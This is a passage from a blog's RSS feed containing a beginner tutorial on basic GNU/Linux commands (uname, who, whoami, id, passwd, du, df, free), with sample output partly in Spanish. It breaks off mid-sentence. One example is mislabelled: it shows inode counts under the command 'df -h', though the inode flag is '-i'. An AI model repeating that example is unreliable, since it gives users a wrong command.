..&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:24 file.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt; 14:24 file2.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the owner, named &lt;em&gt;user&lt;/em&gt;, can write, read and execute both files with extension &amp;lsquo;&lt;em&gt;.py&lt;/em&gt;&amp;rsquo;, while the group named &lt;em&gt;user&lt;/em&gt; and others can read and execute, but not write.&lt;/p&gt;&#xA;&lt;h2 id=&#34;more-about-the-chmod-command&#34;&gt;More about the chmod command&lt;/h2&gt;&#xA;&lt;p&gt;The GNU/Linux permissions system is a rather complex topic, so I will discuss it in more detail in the next post.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This is the continuation of the following parts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;GNU Linux Basic Commands, part one&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;GNU Linux basic commands, part two&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;printenv&#34;&gt;printenv&lt;/h2&gt;&#xA;&lt;p&gt;Printenv is in charge of printing the environment variables of our system.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Linux Basic Commands: passwd du useradd usermod fdisk lscpu apt which</title>
      <link>https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/</link>
      <pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This is the second part of the list of basic GNU/Linux terminal commands. If you want to see the commands from the previous post please &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;enter the first part here&lt;/a&gt;&#xA;. I also have a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/&#34;&gt;third part of GNU/Linux commands available&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;For this entry I&amp;rsquo;m assuming you&amp;rsquo;re using a Debian-based distribution, since I&amp;rsquo;m using apt instead of rpm.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the uname command, to put ourselves in the context of the operating system we are working with.&lt;/p&gt;&#xA;&lt;h2 id=&#34;uname&#34;&gt;uname&lt;/h2&gt;&#xA;&lt;p&gt;This command displays information about the system, it is often used to display all the information by adding the option &amp;lsquo;&lt;em&gt;-a&lt;/em&gt;&amp;rsquo; at the end of the command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uname &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Linux&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uname -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Linux kino 4.9.0-8-amd64 &lt;span style=&#34;color:#78787e&#34;&gt;#1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;who&#34;&gt;who&lt;/h2&gt;&#xA;&lt;p&gt;The who command, yes, like &amp;ldquo;the who&amp;rdquo;, shows us the people who are connected at the moment of executing it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;who &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; usuario tty2 2019-04-29 08:07 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;:0&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;whoami&#34;&gt;whoami&lt;/h2&gt;&#xA;&lt;p&gt;The whoami command tells us who is the current user of the session.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;whoami &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;id&#34;&gt;id&lt;/h2&gt;&#xA;&lt;p&gt;The id command shows us information about our user, his user identifier (uid), his group identifier (gid) and the groups to which he belongs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;uid&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1000&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;gid&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1000&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;grupos&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1000&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,7&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;lp&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,24&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;cdrom&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,25&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;floppy&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,27&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;sudo&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,29&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;audio&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,30&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;dip&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,44&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;video&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,46&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;plugdev&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,108&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;netdev&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,113&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;bluetooth&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,117&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;scanner&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;,999&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;docker&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;passwd&#34;&gt;passwd&lt;/h2&gt;&#xA;&lt;p&gt;With this command, which seems to have forgotten the letter &amp;ldquo;o&amp;rdquo; and &amp;ldquo;r&amp;rdquo;, we can change our password to access the system. Once the command is executed, it will ask us to enter the current password in order to change to a new one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;passwd &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cambiando la contraseña de usuario.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;actual&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; contraseña de UNIX:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;du&#34;&gt;du&lt;/h2&gt;&#xA;&lt;p&gt;Which stands for &amp;ldquo;&lt;em&gt;Disk Usage&lt;/em&gt;&amp;rdquo;, it shows us the space occupied by the directories and subdirectories from where we are executing the command in kilobytes. It can also be used to know the size of the files using the &amp;lsquo;-&lt;em&gt;a&lt;/em&gt;&amp;rsquo; option at the end of the file, as well as using kilobytes, megabytes. The &amp;lsquo;&lt;em&gt;-h&lt;/em&gt;&amp;rsquo; option decides whether to show kb, mb or gb depending on the size, so you get a more human-friendly measurement.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;du &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; nuestra todos los directorios y su tamaño en kb&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 668&#x9;./carpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 3065936&#x9;./carpeta1/subarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 28080&#x9;./carpeta2/subcarpeta1/subsubcarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;du -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; nos muestra tambien los archivos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; archivo1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;40&lt;/span&gt; archivo2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 668&#x9;./carpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 3065936&#x9;./carpeta1/subarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 28080&#x9;./carpeta2/subcarpeta1/subsubcarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;du -m -a &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; lo mismo que el anterior pero en megabytes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; archivo1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; archivo2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 1&#x9;./carpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 2995&#x9;./carpeta1/subarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 28&#x9;./carpeta2/subcarpeta1/subsubcarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;du -a -h&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# la h es de humano&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 4.0K archivo1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 40K archivo2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 668K&#x9;./carpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 2.9G&#x9;./carpeta1/subarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 28M&#x9;./carpeta2/subcarpeta1/subsubcarpeta1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;df&#34;&gt;df&lt;/h2&gt;&#xA;&lt;p&gt;It shows us the size, occupied space and available space of the file system in 1kb blocks and, like the previous command, it also has the &amp;lsquo;-h&amp;rsquo; option available, to display the information in a more human-friendly way.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;df -h&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;S.ficheros Tamaño Usados Disp Uso% Montado en&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;udev 3.9G &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; 3.9G 0% /dev&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs 793M 9.5M 783M 2% /run&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda4 235G 65G 158G 29% /&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs 3.9G 55M 3.9G 2% /dev/shm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs 5.0M 4.0K 5.0M 1% /run/lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs 3.9G &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; 3.9G 0% /sys/fs/cgroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs 793M 16K 793M 1% /run/user/115&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs 793M 48K 793M 1% /run/user/1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is also useful to see the amount of free i-nodes in our file system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;df -h&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;S.ficheros Nodos-i NUsados NLibres NUso% Montado en&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;udev &lt;span style=&#34;color:#ff9f43&#34;&gt;1000495&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;502&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;999993&lt;/span&gt; 1% /dev&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs &lt;span style=&#34;color:#ff9f43&#34;&gt;1009954&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;948&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1009006&lt;/span&gt; 1% /run&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sdb1 &lt;span style=&#34;color:#ff9f43&#34;&gt;7331840&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;853743&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6478097&lt;/span&gt; 12% /&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs &lt;span style=&#34;color:#ff9f43&#34;&gt;1009954&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;281&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1009673&lt;/span&gt; 1% /dev/shm&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs &lt;span style=&#34;color:#ff9f43&#34;&gt;1009954&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1009950&lt;/span&gt; 1% /run/lock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda4 &lt;span style=&#34;color:#ff9f43&#34;&gt;15654912&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5525610&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10129302&lt;/span&gt; 36% /home/hdd&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmpfs &lt;span style=&#34;color:#ff9f43&#34;&gt;201990&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;137&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;201853&lt;/span&gt; 1% /run/user/1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sdc &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     - /media/eduardo/NOOK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sdd &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;     - /media/eduardo/11D8-1E0C&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;free&#34;&gt;free&lt;/h2&gt;&#xA;&lt;p&gt;It shows the amount, in kilobytes, of free and occupied memory in the system and swap memory. If we want a friendlier reading we can use the option 